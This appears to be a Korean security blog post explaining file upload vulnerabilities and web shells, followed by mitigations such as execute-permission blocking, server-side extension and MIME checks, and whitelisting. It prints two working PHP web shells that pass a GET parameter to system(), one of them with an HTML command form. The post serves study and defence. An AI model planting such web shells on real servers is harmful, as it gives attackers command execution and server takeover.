파일 업로드 취약점은 웹에 파일을 업로드 하는 과정에서 발생하는 보안 취약점이다. 파일 업로드 취약점은 크게 Path Traversal과 악성 파일 업로드 크게 두가지로 나뉜다.
웨 쉘이란 업로드 취약점을 통해 이용자가 웹 쉘을 업로드하여 바로 시스템 명령어를 내릴 수 있도록 만드는 코드이다.
파일 업로드 취약점이 보일 때 해커들이 웹 쉘을 사용하여 공격한다. 워게임이나 ctf 등에서도 파일 업로드 기능이 보이면 바로 웹 쉘을 만들어 공격하는 방식을 1차적으로 접근하기도 한다.
웹 쉘은 주로 웹 서버에서 실행을 시키기에 서버 사이드 스크립트인 asp, jsp, php 등의 확장자로 구성되어있다.
<?php
system($_GET[cmd]);
?>
위의 코드를 php파일로 저장하게 된다면 url에 ?cmd=<명령어>를 뒤에 붙여 웹 쉘을 실행할 수 있다.

위의 코드를 업로드하여 다음과 같이 url에 명령을 입력하였더니 그대로 실행되었다.
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
위의 코드를 사용해 공격자가 사용하기 쉬운 형태로도 만들 수 있다.

검색창에 원하는 명령어를 입력하고 Execute를 누르면 시스템 명령어의 결과가 출력된다.
파일 실행 권한 차단
업로드된 파일이 실행되지 않도록 웹 서버의 설정을 조정하여 실행 권한을 제한한다. 이를 통해 업로드된 악성 스크립트의 실행을 방지할 수 있다.
확장자 및 MIME 타입 검증 강화
서버 측에서 파일 확장자 및 MIME 타입을 철저히 검증하는 프로그램을 적용하여, 실행 가능한 스크립트 파일의 업로드를 사전에 차단한다. 클라이언트 측 검증만으로는 우회 가능성이 있으므로 서버 측 검증을 필수적으로 수행해야 한다.
화이트리스트 기반 업로드 필터링 적용
악성 파일 업로드를 방지하기 위해 허용된 파일 확장자만 업로드할 수 있도록 화이트리스트 정책을 적용한다. 이를 통해 확장자 변경 및 특수 문자 삽입 등의 우회 기법을 효과적으로 차단할 수 있다.
업로드 디렉토리 보호
업로드된 파일의 경로가 외부 사용자에게 노출되지 않도록 웹 서버 설정을 조정하고, 디렉토리 리스팅을 방지한다. 또한 업로드된 파일에 대한 직접 접근을 차단하는 보안 설정을 적용한다.
웹 서버와 업로드 서버의 물리적 분리
보안성을 강화하기 위해 웹 서버와 파일 업로드 서버를 분리하여 운영한다. 이를 통해 웹 서버의 주요 기능과 업로드된 파일 처리를 분리함으로써 보안 사고 발생 시 피해를 최소화할 수 있다.
이와 같은 방법을 통해 다른 사람이 만든 웹에서 파일 업로드 취약점을 사용해 서버 장악 등 여러 공격이 가능해진다.
일반적인 웹 사이트의 사용자들과 동일한 포트(80, 443)에서 일어나므로 탐지 및 차단이 까다롭다.
📌 이전부터 있던 취약점이지만 아직까지도 빈번하게 발생하는 취약점이므로 대처를 잘 해야한다.